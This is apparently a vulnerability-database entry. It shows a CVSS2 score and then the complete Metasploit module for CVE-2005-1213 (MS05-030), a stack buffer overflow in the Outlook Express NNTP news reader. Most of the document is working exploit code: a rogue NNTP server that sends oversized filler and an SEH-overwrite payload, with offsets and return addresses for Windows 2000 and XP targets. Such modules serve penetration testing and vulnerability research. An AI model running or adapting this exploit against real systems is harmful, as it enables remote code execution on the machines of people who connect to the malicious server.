CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
##
# $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the news reader of Microsoft
Outlook Express.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-1213' ],
[ 'OSVDB', '17306' ],
[ 'BID', '13951' ],
[ 'MSB', 'MS05-030' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'MaxNops' => 0,
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 14 2005',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
], self.class)
end
def on_client_connect(client)
yup = "200\r\n"
client.put(yup)
client.put(yup)
end
def on_client_data(client)
return if ((p = regenerate_payload(client)) == nil)
filler = "215 list\r\n" + "group "
filler << rand_text_english(target['Offset'])
seh = generate_seh_payload(target.ret)
sploit = filler + seh + " 1 y\r\n\.\r\n"
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
client.put(sploit)
handler
service.close_client(client)
end
end